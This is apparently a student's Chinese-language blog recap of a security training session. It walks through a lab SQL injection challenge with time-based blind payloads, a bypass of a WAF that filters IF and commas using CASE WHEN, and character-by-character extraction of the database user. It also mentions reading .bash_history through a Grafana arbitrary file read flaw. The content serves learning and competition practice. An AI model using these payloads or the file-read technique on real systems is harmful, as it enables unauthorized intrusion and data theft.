前言

非常感谢EMHAK老师再次指导我们比赛(❤ ω ❤)

这里偷偷吹爆EMHAK老师,YYDS!!!

第一部分

老师讲了很多关于安全的职业规划职业发展。利益相关,这里就不细说了~嘿嘿🙈

第二部分

老师给我们出了一道有关于SQL注入的题目,大致长这样子的:

据说这道题是魔改皮卡丘上的一道题目

我当时做的时候,思路不是很清晰,这里我把听完老师讲解后的做题思路列出来:

  1. 先习惯性地输入一个1‘,看看是否会爆出错误

    这里给足了提示:我们看到了sleep(1),所以判断存在时间盲注

  2. 这里我用了tips给的Payload跑了一遍

    url/login.php?name=kobe' and sleep(4)%23&submit=查询

    //看回显时间,发现确实存在时间盲注
  3. 我们尝试构造如下Payload,来测试是否存在过滤

    IF( expr1 , expr2 , expr3 )

    expr1 的值为 TRUE,则返回值为 expr2
    expr1 的值为FALSE,则返回值为 expr3

    Payload:

    url/login.php?name=kobe' and if(1=1,sleep(4),1) %23&submit=查询

    执行后,发现回显很快【sleep(4)并没有与我们预期的那样被执行】,我们判断这里存在过滤

  4. 我们把(3)中的payload和tips给的payload对比后发现,WAF可能过滤了IF逗号

    • 我们先判断是否过滤了逗号,这里我们用“from…..for…..”来替代逗号,构造如下Payload:

      url/login.php?name=kobe' and if(1=1 from sleep(4) for 1)%23&submit=查询

      执行后发现,sleep(4)并没有与我们预期的那样被执行,我们判断这里存在IF的过滤

    • 我们这里用“case when (…….) then (……) else (…..) end” 语句来代替IF,构造如下Payload:

      url/login.php?name=kobe' and case when (1=1) then sleep(4) else 1 end%23&submit=查询

      执行后发现,sleep(4)成功执行,故我们总结WAF过滤了IF逗号

  5. 我们利用这一特点,尝试着爆出当前用户名的第一个字符(我们这里猜测是root,所以选择第一个字符r,它的ASCII是114),构造如下Payload:

    url/login.php?name=kobe' and case when (ascii(substr(user() from 1 for 1)) = 114) then sleep(4) else 1 end%23&submit=查询

    执行后发现,sleep(4)成功执行,故我们对用户名第一个字符的猜测成功!!!

第三部分

老师讲了Grafana的任意文件读取漏洞,这个漏洞之前打比赛的时候做到过,之前写过WP,点击此处即可下载

但是老师这边为我们拓展了思路,可以来读当前用户下的.bash_history(命令记录),来判断当前用户